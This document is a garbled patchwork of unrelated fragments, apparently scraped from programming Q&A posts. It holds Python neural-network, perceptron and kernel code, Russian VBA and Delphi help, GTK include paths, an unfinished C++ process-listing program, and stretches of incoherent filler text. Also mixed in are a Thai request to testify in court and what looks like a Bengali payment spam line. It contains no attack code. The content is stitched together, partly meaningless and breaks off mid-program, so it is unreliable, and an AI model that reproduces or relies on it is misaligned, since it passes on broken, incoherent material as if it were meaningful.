zs.append(np.tanh(v[0] + np.dot(v[1:], x)))
y = 1./(1.+np.exp(-w[0]-np.dot(w[1:], zs)))
return y
X=Dp
vs = []
w = []
w.append(np.random.rand()*2-1)
for _ in range(num_hidden):
v = []
for _ in range(3):
v.append(np.random.rand()*2-1)
vs.append(v)
w.append(np.random.rand()*2-1)
lr = 0.005
alpha = 0.0
try:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for _ in range(100):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
total_error = 0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X[:])):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x=X[i]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(classify(x, v1, v2, w))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# feedforward
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
zs = []
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for j in range(num_hidden):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v = vs[j]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
zs.append(np.tanh(v[0] + np.dot(x, v[1:])))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print()
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(i)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(zs)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
s = -w[0]-np.dot(w[1:], zs)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
y = 1./(1+np.exp(s))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
y = np.clip(y, 1e-10, 1-1e-10)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(y)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# backward
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
y_error = (1-t[i])*y - t[i]*(1-y)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
total_error -= (1-t[i])*np.log(1-y) + t[i]*np.log(y)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(y_error)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
z_errors = []
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for j in range(num_hidden):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
z_errors.append(y_error*w[j+1]*(1-zs[j])*(1+zs[j]))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#print(z_errors)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# update weights
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w[0] = w[0] - lr*y_error*1 - lr*alpha*w[0]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for j in range(num_hidden):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w[j+1] = w[j+1] - lr*y_error*zs[j] - lr*alpha*w[j+1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v = vs[j]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v[0] = v[0] - lr*z_errors[j]*1 - lr*alpha*v[0]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v[1] = v[1] - lr*z_errors[j]*x[0] - lr*alpha*v[1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
v[2] = v[2] - lr*z_errors[j]*x[1] - lr*alpha*v[2]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
except RuntimeWarning:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print(i)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print(y_error)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print(zs)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
print("TE: \t%0.3f" %total_error)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nx = ny = 50
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x_min = y_min = 0
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
x_max = y_max = 5
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx), np.linspace(y_min, y_max, ny))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
D=np.c_[xx.ravel(), yy.ravel()]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
p=[classify2(d, vs, w) for d in D]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
p=np.array(p)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
p=p.reshape(xx.shape)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
X=Dp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
for i in range(len(X)):
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if t[i] == 1:
plt.plot(X[i][0], X[i][1], 'o', color='blue', markersize=8)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
else:
plt.plot(X[i][0], X[i][1], 'o', color='red', markersize=8)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classify2([2.5, 2.5], vs, w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classify2([0, 0], vs, w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classify2([5, 5], vs, w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
vs = [[-1.4395892690558445, -0.6994640575516157, 2.4763238083720416],
[-5.832152599201117, 1.2801824017482004, 0.5347291187258975],
[1.0461615987520945, -3.683980121271858, 2.024501795098323],
[0.35189345674770495, 1.577772129315875, 1.1894009103278471]]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
w = [-5.266158175713795,
4.933742705326487,
-5.537202130283304,
-5.736361194605192,
-4.393480175813042]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#OR
plt.plot([-1], [-1], 'o', color='red', markersize=20)
plt.plot([-1], [1], 'o', color='blue', markersize=20)
plt.plot([1], [-1], 'o', color='blue', markersize=20)
plt.plot([1], [1], 'o', color='blue', markersize=20)
w=[1, 1, 1]
p=np.array([perceptron(w, d) for d in D])
p=p.reshape(xx.shape)
plt.pcolormesh(xx, yy, p, cmap='red_blue_classes',
norm=colors.Normalize(0., 1.))
plt.contour(xx, yy, p, [0.5], linewidths=2., colors='k')
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# XOR
X = np.array([[-1, -1], [-1, 1], [1, -1], [1, 1]])
y = [1, -1, -1, 1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# AND
X = np.array([[-1, -1], [-1, 1], [1, -1], [1, 1]])
y = [-1, -1, -1, 1]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def solve_for_w(X, y):
ni, nf = X.shape
w=np.zeros(nf+1)
max_iter = 2
lr = 1
for it in range(max_iter):
print("\nIteration", it)
print("Weights", w)
for obj in range(ni):
print("Object %s, label: %d" %(X[obj], y[obj]))
p = perceptron(w, X[obj])
print("Prediction", p)
if p == y[obj]:
print("Prediction is correct")
else:
print("*Prediction is incorrect*")
delta_weights = np.append(lr*y[obj], lr*X[obj]*y[obj])
print("Delta", delta_weights)
w += delta_weights
print("New weights", w)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
r_noisy = r_tr+rg.normal(loc=11, scale=11, size=len(r_tr))
pf = PolynomialFeatures(degree=11)
X_tr=pf.fit_transform(D_tr)
A=construct_A(X_tr)
b=construct_b(X_tr, r_noisy)
w=np.squeeze(np.asarray(A.I*b.T))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def f(x):
return 1 + 2*x
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def likelihood(counts, probs):
return np.product([np.power(probs[i],counts[i]) for i in range(len(counts))])
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def kernel_matrix(X, kf):
ns, nf = X.shape
km = np.zeros((ns, ns))
for i in range(ns):
for j in range(ns):
km[i, j] = kf(X[i], X[j])
return km
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def tanh_kernel(x1, x2):
return np.tanh(2*np.dot(x1, x2)+1)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def radial_basis_kernel(x1, x2, s):
return np.exp(-1*(np.dot(x1-x2, x1-x2)/(2*(s**2))))
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def poly_kernel(x1, x2, d=2):
return (np.dot(x1, x2)+1)**d
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def linear_kernel(x1, x2):
return np.dot(x1, x2)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def compute_b(X, y, alphas, kf):
sv_inds = np.arange(len(y))[alphas > 1e-5]
b=0
for i in sv_inds:
b += (y[i] - classify(X, y, alphas, 0, kf, X[i]))
return b / len(sv_inds)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def construct_A(X):
A=[]
for i in range(X.shape[1]):
row = []
for j in range(X.shape[1]):
s = 0
for d in X:
s += d[i]*d[j]
row.append(s)
A.append(row)
return np.matrix(A)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
def classify(x, v1, v2, w):
z1 = np.tanh(v1[0]+np.dot(x, v1[1:]))
#print(z1)
z2 = np.tanh(v2[0]+np.dot(x, v2[1:]))
#print(z2)
y = 1./(1+np.exp(-w[0]-np.dot(w[1:], [z1, z2])))
return y
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Perceptron, perspective, perception is $ = 0 = b + x ^.*.^ m = y = z = y = m ^.*.^ x + b = 0 = $ each and everyone of our own asserting understanding the classifying the cases possible pre-invested pre-saved pre-hashed pre-refreshed pre-capacitified pre-capablized definitely all executed if.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Codename, username, name: 99999999999, 88888888888, 77777777777, 66666666666, 55555555555, 44444444444, 33333333333, 22222222222, 11111111111, 00000000000, -11111111111, -22222222222, -33333333333, -44444444444, -55555555555, -66666666666, -77777777777, -88888888888, -99999999999. Manhattanmn, import Khash. K. Otgon. as in Hashaa.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AI is a 0. symbol, 1. document, 2. thesis, 3. essay, 4. letter. 5. article, 6. paragraph 7. sentence 8. name. 9. word 10. color 11. character 12. pixel.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Unpacked. Uniterated. Uncased.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
True code, source code, original code is 50.01%, spinor, quaternion, tensor, matrix, vector, scalar.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pre-share, Pre-comment, Pre-dislike, Pre-like, Pre-Loyallove, Pre-report, Pre-stop-ads, Pre-download, Pre-clip, Like, Pre-Thanks, Pre-save, Pre-watchlater, Follow, Subscribe, Time /|\ Goldeny Whitey Ultraviolety Darkey Greeny Yellowy Bluey Purpley Pinky Browny Redy Orangey
хз2хз2х2зхз2хз2хз2хз2хз2хз2хз2хз2хз2
хзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзхзх
`
your text
` | Column A | Column B |
---|---|---|
Cell 1 | Cell 2 | |
Cell 3 | Cell 4 | |
Column A | Column B | |
-------- | -------- | |
Cell 1 | Cell 2 | |
Cell 3 | Cell 4 |
Вот возможное решение для тех у кого Windows, внимательно читайте какие папки или заголовочные файла не видит, ищите их и добавляйте, я решил именно так
"name": "Win32",
"includePath": [
"${default}",
"C:/msys64/ucrt64/include/gtk-4.0",
"C:/msys64/ucrt64/include/pango-1.0",
"C:/msys64/ucrt64/include/fribidi",
"C:/msys64/ucrt64/include/harfbuzz",
"C:/msys64/ucrt64/include/gdk-pixbuf-2.0",
"C:/msys64/ucrt64/include/cairo",
"C:/msys64/ucrt64/include/freetype2",
"C:/msys64/ucrt64/include/libpng16",
"C:/msys64/ucrt64/include/pixman-1",
"C:/msys64/ucrt64/include/graphene-1.0",
"C:/msys64/ucrt64/include/glib-2.0",
"C:/msys64/ucrt64/lib/glib-2.0/include",
"C:/msys64/ucrt64/include/graphene-1.0",
"C:/msys64/ucrt64/lib/graphene-1.0/include"
],
Так происходит, когда вы загружаете таблицу в Power Pivot из Power Query, а затем переименовываете запрос в Power Query. При передаче таблиц из Query в Pivot автоматически создаются подключения. Их можно у видеть там же, где и подключения к внешним данным. Когда вы переименовываете запрос в Query и затем снова загружаете таблицу в Pivot, создается новое подключение с новым именем, но старое не удаляется автоматически, именно оно и не дает удалить старую таблицу из Pivot. Чтобы легко удалить таблицу из Power Pivot, нужно сначала удалить ее подключение из списка подключений (на вкладке Данные).
i need help please bomboclats......................
У меня было три таблицы по первой сделан срез
В меню макросов в листе вставлен код по отслеживанию изменений на листе в срезе и потом если изменения есть запускается процедура по приведению других таблиц к срезу в первой
' Флаг для предотвращения рекурсии
Private IsSyncing As Boolean
' Переменная для хранения предыдущего состояния среза
Private previousSelectedValues As String
Private Sub Worksheet_Calculate()
' ЭТОТ КОД ДОЛЖЕН БЫТЬ В МОДУЛЕ ЛИСТА
Dim sc As SlicerCache
Set sc = ThisWorkbook.SlicerCaches("Срез_РЦ") ' Укажите имя вашего кэша
If sc Is Nothing Then Exit Sub
' Получаем текущие выбранные значения
Dim currentSelectedValues As String
currentSelectedValues = GetSelectedSlicerItems(sc)
' Сравниваем с предыдущим состоянием
If currentSelectedValues <> previousSelectedValues Then
previousSelectedValues = currentSelectedValues
' Запускаем синхронизацию фильтров
If Not IsSyncing Then
IsSyncing = True
СинхронизироватьФильтры
IsSyncing = False
End If
End If
End Sub
Function GetSelectedSlicerItems(sc As SlicerCache) As String
Dim result As String
Dim si As SlicerItem
For Each si In sc.SlicerItems
If si.Selected Then
result = result & si.Value & vbCrLf
End If
Next si
GetSelectedSlicerItems = result
End Function
и потом с помощью процедуры в модуле вставлен код приведения срезов талбицы
' Этот код должен быть в ОБЫЧНОМ МОДУЛЕ (например, Module1)
Sub СинхронизироватьФильтры()
' Эта процедура отображается в списке макросов (Alt + F8)
Dim sc As SlicerCache
Set sc = ThisWorkbook.SlicerCaches("Срез_РЦ") ' Укажите имя кэша среза
If Not sc Is Nothing Then
' Собираем выбранные элементы
Dim selectedItems As Collection
Set selectedItems = New Collection
Dim si As SlicerItem
For Each si In sc.SlicerItems
If si.Selected Then selectedItems.Add si.Value
Next si
' Применяем фильтры к таблицам
ApplyFilterToTable "План", "РЦ", selectedItems
ApplyFilterToTable "Выполнение", "РЦ", selectedItems
'MsgBox "Фильтры синхронизированы!", vbInformation
Else
MsgBox "Срез не найден!", vbExclamation
End If
End Sub
Sub ApplyFilterToTable(tableName As String, field As String, items As Collection)
' Процедура для фильтрации таблиц
Dim ws As Worksheet
Set ws = ThisWorkbook.Sheets("Показатели запрос") ' Укажите имя листа
Dim lo As ListObject
Set lo = ws.ListObjects(tableName)
' Находим индекс столбца
Dim colIndex As Integer
colIndex = lo.ListColumns(field).Index
' Снимаем текущий фильтр
On Error Resume Next
lo.Range.AutoFilter field:=colIndex
On Error GoTo 0
' Применяем новый фильтр
If items.Count > 0 Then
Dim criteria() As String
ReDim criteria(1 To items.Count)
Dim i As Integer
For i = 1 To items.Count
criteria(i) = CStr(items(i))
Next i
' Используем константу 7 (xlFilterValues для русской версии)
lo.Range.AutoFilter _
field:=colIndex, _
Criteria1:=criteria, _
Operator:=7
End If
End Sub
Вы можете использовать бесплатный компонент TJvComputerInfoEx.
В нём много детальной информации по каждому параметру компьютера.
В вашем случае: CPU / Name
Ответы на ваши вопросы:
I. Точки останова помечаются серым когда не доступна информация о точке останова. Компилятор должен сгенерировать необходимую информацию для отладчика. Для этого:
Необходимо в настройках проекта включить генерацию этой отладочной информации: Project options/Building/Delphi Compiler/Linking/Debug information.
Включить Projects/Your Project/Build Configurations/Debug.
Необходимо построить заново проект: Projects/Your Project/Build.
Создадутся файлы *.rsm.
Теперь можно отлаживать.
Директивы условной компиляции надо проверить - они могут отключать часть или весь файл из генерации информации для отладчика {$D-}.
II. Процедура проста: нет информации - нет и точки останова.
III. У вас не будет точек останова серым цветом.
PS. Необходимо построить проект с включенной опцией добавки отладочной информации. Сама она не добавится! Только после этого проект полностью будет готов к отладке.
При создании готового проекта отладочная информация удаляется из него (режим Release).
ช่วยเป็นพยานในชั้นศาลของสหราชอณาจักร และ ศาลสหภาพยุโรปและศาลรัฐบาลกลางสหรัฐอเมริกา ว่ามีการปลอมแปลงและเปลี่ยนแปลงข้อมูลในการส่งและรับของระบบต่างๆในการเข้าใช้บัญชีภายใต้ชื่อ(นาย อนุรักษ์ ศรีจันทรา)ด้วยครับ "องค์กรสเเต็ค"ขอบพระคุณอย่างสูงครับ
Did you find a solution ??I am doing the same thing and i really can't wrap around my head of how to do it ..................1127£77_7_+_+_+_+_+_++_+_++#(#!"++"+£+£+£+£+"+_++"+_+_+_+_++_+_!_+_!_+_!_!_!_+
Есть ли какие-либо оговорки относительно конечной точки временной шкалы, о которых мне следует знать?
Будет ли проверка /questions/{id}?filter=!BhNhTkF7J7vS1yZYE0 и сравнение last_activity_date более надежными?
Yes you right
Stack Overflow (новые ответы/комментарии) и мне нужен наиболее эффективный способ обнаружения любых изменений с момента последней проверки. Я использую конечную точку /questions/{id}/timeline с этими параметрами
[today Best Photo][1] 2025 টাকা পাঠানোর পর আপনার যে নাম্বারে টাকা পাঠিয়েছেন সেই নাম্বারে লাস্ট ডিজিট লিখে দিয়েন [1]: https://i.sstatic.net/KKU27rGy.jpg
//-------------------------------------------------
// COMPILE WITH VS: cl /EHsc PrintProcess.cpp Advapi32.lib
//-------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
void PrintProcessNameAndID( DWORD processID )
{
TCHAR szProcessName\[MAX_PATH\] = TEXT("\<unknown\>");
// Get a handle to the process.
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID );
if (NULL == hProcess ) return;
HMODULE hMod;
DWORD cbNeeded;
if( !EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) return;
// Get the process name.
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
// Print the process name and identifier.
\_tprintf( TEXT("%s (PID: %u)\\n"), szProcessName, processID );
// Release the handle to the process.
CloseHandle( hProcess );
}
//-------------------------------------------------------------------
void KillProcess(int MemorySize, DWORD processID)
{
if(MemorySize\<1024)
{
//How to kill the process here??
}
}
//-------------------------------------------------------------------
int main( void )
{
// Get the list of process identifiers.
DWORD aProcesses\[1024\], cbNeeded, cProcesses;
unsigned int i;
